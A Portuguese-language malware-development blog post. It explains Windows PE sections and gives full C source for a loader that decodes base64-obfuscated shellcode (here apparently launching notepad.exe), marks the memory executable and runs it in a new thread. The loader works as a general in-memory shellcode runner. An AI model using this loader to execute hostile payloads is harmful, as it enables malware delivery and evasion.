Malware Development, Tricks and Tips: Shellcode BASE64
37
0

Malware Development, Tricks and Tips: Shellcode BASE64

A 8 meses atrás eu comecei a desenvolver alguns malwares, com o intuito de entender mais sobre o formato PE e sobre como manipular o mesmo para atividades maliciosas, a pesquisa ficou tão interessante que eu decidi expandir para outras lingua...

Carlos Adriano de Souza Jorge
3 min
37
0

A 8 meses atrás eu comecei a desenvolver alguns malwares, com o intuito de entender mais sobre o formato PE e sobre como manipular o mesmo para atividades maliciosas, a pesquisa ficou tão interessante que eu decidi expandir para outras linguagem e técnicas (com o tempo venho trazendo para cá, tenho de tudo por aqui).

Fique tranquilo! eu irei disponibilizar o código no final do artigo. Irei começar do básico! que é relembrar um pouco sobre o formato PE. 

O formato de arquivo PE tem onze seções predefinidas, como é comum em aplicativos para Windows NT, baseado na especificação COFF (Common Object File Format), mas cada aplicativo pode definir suas próprias seções exclusivas para código e dados.

Para permanecer compatível com versões anteriores do MS-DOS e Windows, o formato de arquivo PE mantém o antigo cabeçalho MZ do MS-DOS.

O formato consiste em um cabeçalho MZ do MS-DOS, seguido por um programa stub em modo real, a assinatura do arquivo PE, o cabeçalho do arquivo PE, o cabeçalho opcional PE, todos os cabeçalhos de seção e, finalmente, todos os body´s de seção.

O cabeçalho opcional termina com uma matriz de entradas de diretório de dados que são endereços virtuais relativos a diretórios de dados contidos em body´s de seção.

Cada diretório de dados indica como os dados de um corpo de seção específico são estruturados.  

um breve resumo sobre como as seções são organizadas pode ser encontrado abaixo:

.text : Esta seção de um executável contém o código executável e tem mais do que uma secção.

.rdata : Esta tabela lista a API do Windows utilizada pelo executável, ao longo de DLLs

.data : Contém dados inicializados.

.bss : Esta seção contém dados não inicializados

.pdata : Contém informações sobre as seções de funções de tratamento de excepções.

.reloc : Contém informações sobre recolocação.

.rsrc : Contém informações como imagens e outras informações necessárias para a IU da aplicação.

Observação: TODAS AS SEÇÕES PODEM SER MANIPULADAS!!!

calma! não vou te deixar na mão, caso queira aprofundar no assunto acesse aqui!!

Também não estou aqui para te ensinar programação, então caso queira aprender qualquer linguagem, acesse aqui!!

Hands On!!

O programa abaixo, tem como intuito exemplificar a utilização de um Shellcode (binário do notepad.exe) que foi ofuscado utilizando base64:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Wincrypt.h>
#pragma comment (lib, "Crypt32.lib")
unsigned char base64_payload[] =
"/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHA"
"rDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhE"
"i0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhE"
"i0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhB"
"WVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/"
"1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/Vbm90ZXBhZC5leGUA";
unsigned int base64_payload_len = sizeof(base64_payload);
// Decodifica a carga útil de Base64 para binário e copia para a memória alocada
int DecodeBase64andCopyToAllocMemory( const BYTE * base64_source, unsigned int sourceLength, char * allocated_mem, unsigned int destinationLength ) {
DWORD outputLength;
BOOL cryptResult;
outputLength = destinationLength;
cryptResult = CryptStringToBinary( (LPCSTR) base64_source, sourceLength, CRYPT_STRING_BASE64, (BYTE * )allocated_mem, &outputLength, NULL, NULL);
if (!cryptResult) outputLength = 0; // falhou
return( outputLength );
}
int main(void) {
void * alloc_mem;
BOOL retval;
HANDLE threadHandle;
DWORD oldprotect = 0;
// Aloca novo buffer de memória para carga útil
alloc_mem = VirtualAlloc(0, base64_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "base64_payload addr", (void *)base64_payload);
printf("%-20s : 0x%-016p\n", "alloc_mem addr", (void *)alloc_mem);
printf("\n[1] Press Enter to DecodeBase64andCopyToAllocatedMemory\n");
getchar();
// Decodifica a carga útil de Base64 para binário e copia para a memória alocada
DecodeBase64andCopyToAllocMemory((const BYTE *)base64_payload, base64_payload_len, (char *) alloc_mem, base64_payload_len);
// Defina a memória recém-alocada para ser executável
retval = VirtualProtect(alloc_mem, base64_payload_len, PAGE_EXECUTE_READ, &oldprotect);
printf("\n[2] Press Enter to Create Thread\n");
getchar();
// Se o VirtualProtect for bem-sucedido, execute o encadeamento (thread) que contém o shellcodePayload
if ( retval != 0 ) {
threadHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) alloc_mem, 0, 0, 0);
WaitForSingleObject(threadHandle, -1);
}
return 0;
}

O programa acima não é nada de surreal, mesmo utilizando base64 já informo que é facilmente detectável por soluções de segurança, já que é uma técnica absurdamente utilizada por frameworks como metasploit por exemplo. 

O programa é iniciado configurando uma variável contendo uma payload em base 64, como já dito, para efetuar um certo nível de ofuscação.

parte 01: Malware code.
parte 01: Malware code.

Logo em seguida temos  a função responsável por decodificar a carga útil de Base64 para binário (notepad.exe), além disso a função é responsável por copiar o resultado para a memória que irá ser alocada.

parte 02: Malware code.&nbsp;
parte 02: Malware code. 

A main do código é o pão com ovo de cada dia! Aloca buffer de memória para carga útil, chama a função citada anteriormente, define a memória recém alocada para ser executável e se o processo de alocação de memória for bem sucedida irá executar a thread contendo o shellcode!

parte 03: Malware code.&nbsp;
parte 03: Malware code. 

 para ter acesso ao repositório contendo o código, clique aqui!!

espero que tenham gostado!! me acompanhe para mais artigos como esse!!

#malware #reverseengineer #malwaredev #devmalware #CTI #cti #cyberthreatintelligence #killchain #mitre #malwarereverseengineer #cyberintelligence #sigma #yara #security #cybersecurity #cybercrime #C #C++ #python #dev #offensivesecurity #defensivesecurity #blueteam #redteam #purpleteam